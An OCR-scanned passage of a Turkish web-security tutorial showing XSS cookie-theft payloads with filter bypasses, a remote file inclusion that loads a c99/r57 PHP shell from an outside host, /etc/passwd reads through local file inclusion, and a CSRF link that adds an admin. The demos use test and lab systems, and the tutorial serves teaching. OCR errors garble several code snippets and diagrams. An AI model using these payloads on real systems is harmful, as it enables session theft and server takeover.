forumda oturum acarsaniz bilgisayariniza ufak bir dosya
verlesecektir ve giris yaptiginiz sistem sizi bu dosya icerisinde ki
bilgiler ile taniyacaktir. COOKIE dosyalari icerisinde genelde her
kullaniciicin unig olan degerler vardir.Bu degerler arasinda genelde
session id bulunmaktadir. Aslinda boyle olmasi mantikhdir da.Clink
web sitesine kendinizi tanitmaniz gerekmektedir ve sadece size ait,
size ozel bir bilgi ile bunu yapmalisinizdir. Hackerlar bu COOKIE
bilgilerinizi XSS saldirilari ile calabilirler. Daha sonra kendi
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bilgisayarinda herhangi bir COOKIE editor ile — ki firefox gibi web
browserlarin ¢ok guizel plugin’leri mevcut bu is icin- kendi
COOKIE’sini editleyip sizden aldigi COOKIE iginde ki bilgileri yazar.
Geriye sadece sayfayi refresh yapmak kalir. Bu sefer sayfa sizin
kullanicinizla login olunmus sekilde gelecektir. Teorik olarak
muUumkin olan bu anlattiklarimi birazda uygulama olarak gorelim.

http://testphp.vulnweb.com

Hedefimiz gene aynu.

home | categories | artists  disclaimer | your cart | guestbook = AJAX Demo

search art welcome to our page
| || ge |

Test site for Acunetix WWS.

Arama moddiltunde zararh olmayan bir girdi yapalim.

home | categories | artists  disclaimer | your cart | guestbook

search art searched for: MEHMETVINCE

IMEHMET'INCE || go |

Tahmin ettigimiz gibi bizden alinan degerler ekrana
yazdirilmakta. Lakin burada fark ettigimiz bir durum var ki, web
uygulamasi tek tirnaklari \’ seklinde convert etmekte. Bu bir glivenlik
onlemidir. Bunu bypass etmek icin standart XSS saldiri
payloadimizda tek tirnak kullanmaktan kagmalyiz.

Basit saldiri = <script>alert(‘MEHMET’)</script>
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Bypass saldiri = <script>alert(/MEHMET/)</script>

Arama moduline bypass saldirisini yazdigimizda ekrana ufak bir
pencere gelmektedir ve icinde “MEHMET” yazmaktadir. Tam
istedigimiz gibi. Simdi ise cookie bilgisini ekrana getirelim.

Saldiri = <script>alert(document.cookie)</script>

Bu sefer karsimiza ici bos bir pencere gelmektedir. Bunun
nedeni http://testphp.vulnweb.com tarafindan bize bir cookie bilgisi

henliz atanmamis olmasidir.

XSS icin kullanilabilen payload miktari coktur. Bunlardan bazi
ornekler vermek gerekirse.

“><ScRiPt>alert(document.cookie)</ScRiPt>
“%3e%3cscript%3ealert(document.cookie)%3c/script%3e
“><scr<script>ipt>alert(document.cookie)</scr</script>ipt>

%00”><script>alert(document.cookie)</script>

<script>alert(String.fromCharCode(88,83,83))</script>

Daha fazlasi i¢in http://ha.ckers.org/xss.html
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a) Depolanmis XSS ( Stored XSS)
En tehlikeli XSS saldirilari Stored XSS ile gerceklestirilir. Bunun
nedeni ise kurbanin %99 saldiriya maruz kalacak olmasidir.

Stored XSS saldirilarinda kullanicilardan gelen girdiler, Gstte
anlattigim gibi direk ekrana yazdirilmaz. Kullanici girdiler 6ncelikle
bir veri tabani sisteminde tutulur. Kullanilan web uygulamasi bu
bilgiler baska bir modul ile ekrana yansitir.

Ornek; Bir alisveris sitesi diisiinelim. Bu alis veris sitesinde
yapilan siparislerin gidecegi adres bilgisi kullanicilardan alinmaktadir.
Kullanici siparisini tamamladiginda ise bu adres bilgileri veri tabanina
islenir. Bu islenen bilgiler alisveris sitesi calisaninin siparisleri takip
ettigi ekranda karsisina gelmektedir.

Web GreenSQL
Application Proxy
.»//"v B >
3
-SQL Query-— SQL Query-»| o
Wet; Server GreenSQL DB Server

Firewall

Bu diyagrami biraz daha detaylandiralim.
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Saldiri #1
basarisiz. Firewall

saldiri tespit etti.

HACKER

Saldir #2
Firewall’l gecti.

DMZ FIREWALL

Dertsiz tasasiz
mutlu mesut
kullanici©®

Veri tabani

Alis veris Sitesi Kullanici Arayuzii
glvenlik ¢6zimu

saldiriyi tespit

ettil
Veri Tabani Glvenlik Cozimii
Alis veris Sitesi Veri Tabani Sistemi
Saldir #3 v Sirket Calisani v
BASARILI

Siparis Listeleme Modiili

Sonug! Sirketin internal sisteminde ki bir bilgisayara saldiri
gerceklestirildi.

Unutulmamalidir ki XSS saldirilari ile sadece COOKIE hirsizlig
saldirisi gerceklestiriimemektedir. ileriye diizey saldiri teknikleri
mevcuttur.
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6) Dosya Dahil Etme ( File Inclusion )

Ozellikle 2005-2008 yillari arasinda altin cagini yasayan bu
glvenlik zafiyeti tiru gercekten cok tehlikelidir. 2011’li zamanlarda
cok nadir rastlanan bir durum olsa da hala daha blylk hasar
vermeye yoneliktir.

Peki artik neden eskisi kadar poptler degil? Cevap sadece iki
adet sebepten ibarettir. Oncelikle benim gibi uygulama zafiyetlerine
merak salmis kisilerin bu agiklari her tespit edislerinde internette
yayinlamalari. Bir digeri ise zafiyetin giderilmesi basit olmasi.

a) Uzaktan Dosya Dahil Etme (Remote File Inclusion)

Remote File Inclusion aciklari ile zafiyeti barindiran web
uygulamasina kendi kodlarimizi dahil edebilmekteyiz. Dogal olarak
hacker PHP ile gelistirilmis c99, r57 ve benzer shelleri yazilima dahil
ederek sunucu Uzerinde adeta cirit atacaktir.
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File Inclusion aciklarinin nasil olustugunu ve kullanildigini
anlatmadan 6nce size php dilinin birkag¢ fonksiyonundan bahsetmem
gerekmekte.

include()
include_once()
requre()
requre_once()

Bu dort adet fonksiyon yapisina argliman olarak verilen dosyayi
bulunduklari sayfanin icine dahil etmekteler. Ornek vermek
gerekirse;

test.php

< ?php

(isset($_REQUEST['gelen'])) {
($ REQUEST[ 'gelen'].".php");

chao ™ '_':.-"'D}'i:" :

ik satir html form’dan gelmekte olan verinin var olup
olmadigini kontrol eden kisimdir. isset adl fonksiyona argliman
olarak eklenen degiskenin herhangi bir veri ile dolu olup olmadigini
kontrol etmektedir. Simdi hacker’in bu kodlari yorumlamasi
“Request ile gelen kisma bana ait olan kodlarin linkini yazarsam
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yazilima kendi kodlarimi dahil edebilirim” seklinde olacaktir. Peki
bunu nasil basaracaktir?

Oncelikle kendisine ait bir web sunucusuna c99 yada r57 gibi
populer PHP shell’lerden bir tanesini .txt uzantili olarak koyacaktir.
Biz ise basit bir php script yazacagiz.

C99 ve r57 isimli shell’ler bir php scripttir. Sunucu tGzerinde
komut calistirabilme, dizin gezme, dosya dlizenleme ve silme gibi cok
fazla ozelligi mevcuttur.

http://mehmetince.net/shell.txt

Zararh kodlari .txt formatinda uzak bir web sitesine
yerlestiriyoruz.

| {1 httpe//localhost:808.. tince.net/shell.bd 3

é { ! localhost:8080/bga/test.php?gelen=http://mehmetince.net/shell.bet

£ En cok ziyaret edilenler @) Ik Adim I In Gowan Ring - Two ... I Aleah - Water and Win... I3 In Gowa

(!)
Call Stack
# |Time Memory

1 0.0005 660632

Bu linke giren saldirgan basarili olamayacaktir. Bunun sebebini
anlayabilmek icin php kodlarina geri donmemiz gerekmekte.

include(S_REQUEST[‘gelen’].”.php”);
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Ustte ki kisim getir.php dosyasindan alintidir. Biz iistte ki saldiri
yapmak icin kullanacagimiz uzaktan linki dahil ederek giris
yaptigimizda kodlar su sekli alacaktir.

include(“http://mehmetince.net/saldir.txt.php”);

Lakin boyle bir dosya yoktur. Bu durumda ise biz sadece kendi
linkimizin dahil edilmesini saglamak zorundayiz. Bunun igin ise
S_REQUEST[‘gelen’] adli kissmdan sonra ki kismin iptal edilmesini
gerekmektedir.

http://localhost:8080/bga/test.php?gelen=http://mehmetince.
net/shell.txt?

Bu sekilde, kiigtk bir takla ile sadece include etmek istedigimiz
kisim calisacaktir. Soru isaretinden sonra ki kisim php derleyicisi
tarafindan dikkate alinmayacak ve bizim degiskenimizin sonuna

eklenmeyecektir.
B e [ o T ——
€ | [} | localhost8080/bga/test.php?gelen=http://mehmetince.net/shell.bd? o | 8- o

|20 En gok ziyaret edilenler @ Tk Adm @ In Gowan Ring - Two ... IO Aleah - Water and Win... @ In Gowan Ring - Two ... [ MamaIemanja (I Call t... B penetration testing for...

Home — File Manager — Command Execute — Back Connect — BypasS Command eXecute{SF-DF) — Symlink — BypasS Directory — Eval Php — Data Base — Convert — Mail Boomber
Server Information - Dos Local Server - Backup Database -- Mass Deface — Download Remote File - DDoS - Find Writable Directory - Server - Remove Me - About
Operation System : Windows NT MINCE- 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) AMDG4 | Php Version : 5.3.10 | Safe Mode : Off
Now Directory : C:\wamp\www\bga

1 En\

C:\ D:\ E:\,
Back

giris.php 1.01 KB 12/05/23 666 Edit DL Ren Del

test.php 3308 12/05/23 666 Edit DL Ren Del

veritabani.php 690 B 12/05/23 666 Edit DL Ren Del
Command Execute : id System ~ | Execute

PHP shell’imiz hedef sistem Uizerinde ¢alismaktadir.
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b) Yerel Dosya Dahil Etme (Local File Inclusion)

Local File Inclusion saldirilarinda hacker’lar uzakta ki bir dosyayi
vazilima dahil edemediklerinde tercih edilen bir yontemdir. Artik
Php.ini dosyasinda “allow_url_include = Off” olarak default
gelmektedir. Bu durumda Remote File Inclusion saldirilari imkansiz
olmaktadir.Bu sefer yazilima sunucu icinde ki local dosyalardan
onemli olanlar dahil edilecektir.

/etc/passwd gibi sistemde ki kullanicilarin ve bu kullanicilarin
yetkilerinin bulundugu yahut hedef sistemin veri tabani baglanti
bilgilerinin bulundugu baglan.inc gibi dosyalar acikligin bulundugu
dosya uzerinden ekrana yazdirilabilir.

iki adet drnek ile bunu aciklayacagiz. Orneklerimizden ilki RFI
anlatiminda kullandigim PHP kodlari olacak. Hemen ilk 6rnegimize
gecelim.

test.php

< ?php

(isset($_REQUEST['gelen'])) {
($ _REQUEST[ 'gelen'].".php");

I
1
echo "yok";
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Linux isletim sisteminde dizinler / ile belirlenmektedir. Windows
sistemlerde ise \ isaretidir. Bir Ust dizine ¢ikabilmek icinse, Linux
sistemlerde ../ yazmaniz gerekmektedir. Ben 6rnegimizi gene Linux
sistem Uzerinde yapacagim.

Bu sefer uzakta ki bir dosyayi dahil etmekten vazgecip local bir
dosyayi include edelim. test.php dosyamiz sunucuda
/home/hedef.com/my-home-www/test.php lokasyonunda olsun. Biz
test.php dosyasinin bulundugu yerden ana dizine c¢ikabilmek icinse 3
adet path geriye gitmemiz gerekmekte. Bunda basarili olmak icinse
asagida ki gibi bir giris yapmaliyiz.

http://www.hedef.com/getir.php?gelen=../../../

Su anda Linux sistemin ana kok dizinindeyiz. Artik /etc/passwd
dosyasini yazilima dahil etmek icinse asagida ki path’i girmemiz
yeterlidir.

http://www.hedef.com/getir.php?gelen=../../../etc/passwd

Ancak bu giriste de ekranimiza passwd dosyasinin icerigi
gelmeyecektir. Clinkii RFI kisminda anlattigim gibi dosyanin sonuna
php kodundan 6tiri eklenmekte olan “.php” kismi var. Biz ise gene
sadece istedigimiz path’i sonlandirarak bu kismi asabilecegiz.

http://www.hedef.com/getir.php?gelen=../../../etc/passwd %00

Evet... Son kisima ekledigimiz %00 ile bizim include
fonksiyonuna verdigimiz path —yol- dan baska bir veri islemeye
girmeyecektir.
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ikinci drnegimizde ise PHP kodlari biraz degisecektir. Farki
gorebilmek icin include fonksiyonunun icerigine dikkatle bakalim.

< ?php

(isset($ _REQUEST['gelen'])) {
$gelen = $ REQUEST[ 'gelen'];
('html/getir/".%gelen);

I
L

("index.php");

Bu kodlar internette sik karsilastigimiz formatlardan bir
tanesidir. Ustte ki ufak php kodlari ile kullanicinin tercihine gére
farkli html dosyalari ekrana include edilecektir ve ziyaretci bu sekilde
web sitesinde gezecektir. Biz getir.php dosyasinin gene
/home/hedef.com/my-home-www/getir.php lokasyonunda
oldugunu kabul edelim. Lokasyonumuzdan dolayi kdk dizine
cikabilmek icin 3 klasor Gste cilkmamiz gerekmekte. Ama burada
onemli olan php kodunda /html/getir kisminin var olmasidir. Bu
klasorler ise getir.php dosyasnin lokasyonu ile aynidir ¢tinkl include
fonksiyonu calistigi dosyanin bulundugu dizine gore hareket eder.
Hacker saldirisini gercgeklestirirken bu iki dizini de g6z 6ntine
alacaktir ve artik kok dizin icin bes klasor geriye gitmesi gerektigini
bilecektir. Asagida ki link hacker’in basarili olacagi 6rneklemedir. LFI
verdigim ilk 6rnek ile bu 6rnek arasinda ki farki anlaminiz 6nemlidir.

http://www.hedef.com/getir.php?gelen=../../../../../etc/passwd
%00
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Tabiki hacker’lar bu kadariyla yetinmezler. Bir cok sistemde
farkli glivenlik 6nlemleri vardir. Eger path belirtmek icin
kullandigimiz ard arda iki nokta bir sistemde saldiri denemesi olarak

belirlenmis ise bu durumu gecmek icin zeki insanlar bazi encode
teknikleri distinmauslerdir.

php://filter/read=convert.base64-encode/resource=

Ustteki ufak komut kendisine verilecek olan dosyanin icerigini
base64 ile encode edecektir. Ardindan donen sonucu saldirgan
decode edecektir. Ornek asagida ki gibidir.

http://www.hedef.com/getir.php?gelen=php://filter/read=con
vert.baseb4-encode/resource=/etc/passwd
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7) Cross-Site Request Forgery (CSRF)

CSRF, kurbanlarin farkinda olmadan web
uygulamasina komut gondermesi temeline dayanir.

Prepares page to send
request (img tag, prepared
page, link, etc)

Visits page

Triggers request by browser
Browser adds cookie (auth)
Action performed using
victim’s privileges Web
Application

OV B

ENEIEEER

CSRF aciklari, gelen taleplerde oturum kontroli yapilmasinin
unutulmasi nedeniyle gerceklesir.
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Web sitesi yoneticisi, sisteme yeni bir admin eklemek
istediginde admin paneli araylziinden gerekli form bilgilerini
doldurup “Submit” butonuna basar.Web sitesi yoneticisi,” Submit”
butonuna bastiktan sonra, asagida ki linki olusur ve bu link GET
talebi ile sunucudan istenir.

http://www.hedefsite.com/admin.php?adminEkle=TRUE&user
name=MEHMET&password=123123&Submit=1

Web uygulamasi GET talebi ile gelen degiskenlere gore sistemi
yeni kullanici ekler. Saldirgan yukarida ki linki GET talebi yapacak bir
kod hazirlar. Bu kodun bulundugu sayfayi, kurbana tiklattirmaya
calisir. Kurban’nin www.hedefsite.com adresinde aktif bir oturumu
varsa, zararh kodlar hedef sistemde “HACKER” adinda bir

administrator hesabi olusturacaktir.
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« Ornek : CSRF acigi bulunan bir forum sitesini hedef alan
hacker.

1.Adim I ——————————
Hacker zararli *  www.hedefsite.com/admin.php?adminEkle=
icerigi olan bir mw:w
sayfa hazirlar »  Linkini yalep yapan javascript kodlari olan
web sitesi.
HACKER 4.Adim
Zararli siteyi
ziyaret eden
admin farkinda
olmadan
Z'Ad'm_ sistemde
Hedef site “MEHMET”
adminine? adinda bir
PM yolu ile admin hesabi
zararh linke
tiklamasi ici
phishing 3.Adim HEDEF WEB SITESI
saldirisi. KURBAN Admin gelen
PM’l okur ve
linke tiklar

ADIM 5: HACKED!
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8) Kirik Kimlik Dogrulama ve Oturum Yonetimi
( Broken Authentication and Session Mngment)

Web uygulamalarinda oturum saglamak icin gelistirilmis
fonksiyonlarin ve metodlarin diizglin olarak
gelistiriimemesinden kaynaklanmaktadir.

e Session Fixation ( Oturum Sabitleme )
e Session Prediction ( Oturum Tahmin Etme )

Session Fixation

http://www.demoapp.com/login.j
sp?jsessionid=abed

b @ Login 3

l N sessionid=abed @
% 7 POST account.php P s
[Cookie: abcd | — W

Attacker — >

Web Server

®

1. Saldirgan sisteme baglanti talebinde bulunur. Hedef sistem
her ziyaretciye olusturdugu gibi saldirgan icinde bir session
baslatir ve session ID’sini kullaniciya —hacker’a- doner.

2. Saldirgan mevcut session ID’sini kurbana génderir ve
kurbani linke tiklattirmaya zorlar.
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3. Kurban linke tikladiktan sonra GET talebinde bulundugu
session ID’sinin sistemde oturum yetkisi olmadigi icin
uygulama tarafindan karsisina login ekrani g¢ikartilir.

4. Kurban oturumu gerceklestirdikten sonra hedef
uygulamada “abcd” icerikli session’a ait bir oturum
gerceklenir.

5. Saldirgan bu session icerigi ile sisteme baglanti talebi
gonderdiginde, kurbanin oturumu ile sisteme giris saglamis
olacaktir.

GET htipSfjanaina:8180MVebGoalattack?Screen=17&menu=410 HTTPN 1

Host: janaina.8180

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept: texdhyml, applicationfxml applicationfchtmi+xml texi/html; g=0.9 texi/plain;g=0.8,imagefpng **.g=0.5
Accept-Language: en-us.en;a=05

Accept-Charsel 1IS0-885%-1,ul-8,0=0.7 *.g=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

|Referar hitpJfjanaina:8180AVebGoat/attack?Screen=17&menu=410
{Cookie: JSESSIONID=user01]

Authorization: Basic Z3VIc3Q6Z3VIc3Q= Predictable session cookie

Web uygulamasi, kullanicilari tanimlamak icin olusturdugu session
ID’lerini clear text veya kolay kirilarbilir bir sifreleme ile
olusturuyorsa meydana gelen bir zafiyettir.

JSESSIONID=user01

Olan kisim “admin” gibi daha yetkili kullanici isimleri ile
degistirildiginde, farkh kullanicilarin oturumlarina gecis
saglanabilmektedir.
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9) Guvensiz Kriptografik Depolama
( Insecure Cryptographic Storage )

Veri tabani sistemlerinde, hassas bilgilerin sifrelenmeden
tutulmasi durumunda olusmaktadir.

Ayrica sifreleme algoritmasinin zayif olmasida 6nemli bir
unsurdur. internet diinyasinda popiiler olan MD5 , SHA1 ve RC3 gibi
algoritmalari Gzerinde sifre kirma calismalari yapmak zor degildir.

Gunumuz hala daha bir ¢ok sistem kritik bilgileri sifrelenmemis
bir sekilde veri tabani sistemlerinde tutmaktadir.
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